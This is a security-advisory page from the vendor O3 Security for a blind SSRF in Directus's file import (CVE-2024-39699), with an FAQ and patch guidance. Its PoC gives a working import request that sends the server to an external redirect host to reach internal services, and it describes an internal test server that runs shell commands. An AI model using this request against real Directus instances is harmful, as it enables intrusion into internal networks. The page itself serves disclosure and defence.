How severe is GHSA-8p72-rcq4-h6pw?

GHSA-8p72-rcq4-h6pw has a CVSS score of 5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-8p72-rcq4-h6pw?

GHSA-8p72-rcq4-h6pw affects the following packages: @directus/api (npm). Ecosystems affected: npm.

How do I fix GHSA-8p72-rcq4-h6pw?

Update @directus/api to 17.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8p72-rcq4-h6pw is resolved across your whole dependency graph.

How do I detect GHSA-8p72-rcq4-h6pw in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @directus/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-8p72-rcq4-h6pw if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-8p72-rcq4-h6pw?

O3 pinpoints whether GHSA-8p72-rcq4-h6pw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-8p72-rcq4-h6pw actively exploited in the wild?

Yes. There are 1 known exploit references for GHSA-8p72-rcq4-h6pw, including 1 in-the-wild exploitation observed on GitHub and other sources. Treat this as actively exploitable and prioritize patching immediately. All exploit code should only be run in an isolated sandbox environment for research or authorized testing — never against production systems without explicit written authorization.

What is the EPSS score for GHSA-8p72-rcq4-h6pw?

GHSA-8p72-rcq4-h6pw has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 35th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-8p72-rcq4-h6pw?

GHSA-8p72-rcq4-h6pw is classified as Server-Side Request Forgery (SSRF) (CWE-918). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-8p72-rcq4-h6pw published, and has it been updated?

GHSA-8p72-rcq4-h6pw was published on July 8, 2024 and was last updated on July 8, 2024. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-8p72-rcq4-h6pw

MEDIUM

Directus Blind SSRF On File Import

Also known asCVE-2024-39699

Published

Jul 8, 2024

Updated

Jul 8, 2024

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk35th percentile+0.35%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@directus/apinpm

25Kdownloads / week

Description

Summary

There was already a reported SSRF vulnerability via file import. https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h It was fixed by resolving all DNS names and checking if the requested IP is an internal IP address.

However it is possible to bypass this security measure and execute a SSRF using redirects. Directus allows redirects when importing file from the URL and does not check the result URL. Thus, it is possible to execute a request to an internal IP, for example to 127.0.0.1.

However, it is blind SSRF, because Directus also uses response interception technique to get the information about the connect from the socket directly and it does not show a response if the IP address is internal (nice fix, by the way :) ).

But the blindness does not fully mitigate the impact of the vulnerability. The blind SSRF is still exploitable in the real life scenarios, because there could be a vulnerable software inside of the network which can be exploited with GET request. I will show the example in the PoC. Also, you can check HackTricks page with some known cases.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

For testing I used the docker compose with the latest directus version. Here is my docker compose file

version: "3"
services:
  directus:
    image: directus/directus:10.8.3
    ports:
      - 8055:8055
    volumes:
      - ./database:/directus/database
      - ./uploads:/directus/uploads
      - ./extensions:/directus/extensions
    environment:
      KEY: "redacted"
      SECRET: "redacted"
      ADMIN_EMAIL: "[email protected]"
      ADMIN_PASSWORD: "redacted"
      DB_CLIENT: "sqlite3"
      DB_FILENAME: "/directus/database/data.db"

As a first step it is needed to setup a redirect server which will redirect the incoming request to some internal URL. I did it on my VPS with the public IP.

After it I setup a simple HTTP Server emulating the vulnerable application inside the internal network. It just execute any shell command provided in the cmd GET-parameter.

After it the directus import functionality was used

It initiates the following HTTP request

POST /files/import HTTP/1.1
Host: 127.0.0.1:8055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer redacteed
Content-Type: application/json
Content-Length: 44
Origin: http://127.0.0.1:8055
Connection: close
Referer: http://127.0.0.1:8055/admin/files/+
Cookie: directus_refresh_token=redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"url":"http://94.103.84.233:801","data":{}}

It can be seen on the redirect server that the request came to it.

And we can also see the request in the localhost server (the same host as directus), which confirms the bypass and the SSRF.

And the rce_poc file was created.

Impact

The impact is Blind SSRF. Using it an attacker can initiate HTTP GET requests to the internal network. For example, it can be used to exploit some GET-based vulnerabilities of other software in the internal network.

Fix proposition

I think there are two ways to fix this vulnerability:

Disallow redirects for the import requests
Check the Location header in the import request response if it is present. Drop the request if the Location url points to the internal IP.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@directus/api`	all versions	17.1.0

Exploits & PoCs

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Directus is a real-time API and App dashboard for managing SQL database …

github.comNVDJul 2024

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @directus/api. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @directus/api to 17.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8p72-rcq4-h6pw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8p72-rcq4-h6pw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8p72-rcq4-h6pw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary There was already a reported SSRF vulnerability via file import. [https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h](https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h) It was fixed by resolving all DNS names and checking if the requested IP is an internal IP address. However it is possible to bypass this security measure and execute a SSRF using redirects. Directus allows redirects when importing file from the URL and does not check the result URL. Thus, it is possible to execute a request to an internal IP, for example to 127

O3 Security · Impact-Aware SCA

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